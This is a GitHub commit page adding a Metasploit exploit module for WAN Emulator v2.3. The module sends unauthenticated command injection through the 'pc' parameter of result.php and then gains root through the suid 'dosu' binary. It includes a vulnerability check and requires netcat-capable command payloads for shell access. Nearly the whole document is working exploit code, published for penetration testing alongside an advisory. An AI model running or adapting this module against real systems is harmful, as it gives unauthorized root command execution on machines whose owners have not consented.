Skip to content

Commit f026591

Browse files
committed
Add WANem v2.3 command execution
1 parent caae54a commit f026591

File tree

1 file changed

+107
-0
lines changed

1 file changed

+107
-0
lines changed
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'WAN Emulator v2.3 Command Execution',
18+
'Description' => %q{
19+
This module exploits a command execution vulnerability in WAN Emulator
20+
version 2.3 which can be abused to allow unauthenticated users to execute
21+
arbitrary commands under the context of the 'www-data' user.
22+
The 'result.php' script calls shell_exec() with user controlled data
23+
from the 'pc' parameter. This module also exploits a command execution
24+
vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
25+
and vulnerable to command execution in argument one.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Version' => '$Revision: 1 $',
29+
'Privileged' => true,
30+
'Platform' => 'unix',
31+
'Arch' => ARCH_CMD,
32+
'Author' =>
33+
[
34+
'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
35+
],
36+
'References' =>
37+
[
38+
['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/']
39+
#['OSVDB', ''],
40+
#['EDB', ''],
41+
],
42+
'Payload' =>
43+
{
44+
'Space' => 1024,
45+
'BadChars' => "\x00",
46+
'DisableNops' => true,
47+
'Compat' =>
48+
{
49+
'PayloadType' => 'cmd',
50+
'RequiredCmd' => 'generic netcat-e',
51+
}
52+
},
53+
'DefaultOptions' =>
54+
{
55+
'ExitFunction' => 'none'
56+
},
57+
'Targets' =>
58+
[
59+
['Automatic Targeting', { 'auto' => true }]
60+
],
61+
'DefaultTarget' => 0,
62+
'DisclosureDate' => 'Aug 12 2012'
63+
))
64+
end
65+
66+
def on_new_session(client)
67+
client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
68+
end
69+
70+
def check
71+
72+
res = send_request_cgi({
73+
'method' => 'GET',
74+
'uri' => '/WANem/result.php'
75+
})
76+
if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/
77+
return Exploit::CheckCode::Appears
78+
else
79+
return Exploit::CheckCode::Safe
80+
end
81+
82+
end
83+
84+
def exploit
85+
86+
@peer = "#{rhost}:#{rport}"
87+
data = "pc=127.0.0.1; "
88+
data << URI.encode(payload.raw)
89+
data << "%26"
90+
print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
91+
begin
92+
res = send_request_cgi({
93+
'uri' => '/WANem/result.php',
94+
'method' => 'POST',
95+
'data' => data
96+
}, 25)
97+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
98+
print_error("#{@peer} - Connection failed")
99+
end
100+
if res and res.code == 200
101+
print_good("#{@peer} - Payload sent successfully")
102+
else
103+
print_error("#{@peer} - Sending payload failed")
104+
end
105+
end
106+
107+
end

0 commit comments

Comments
 (0)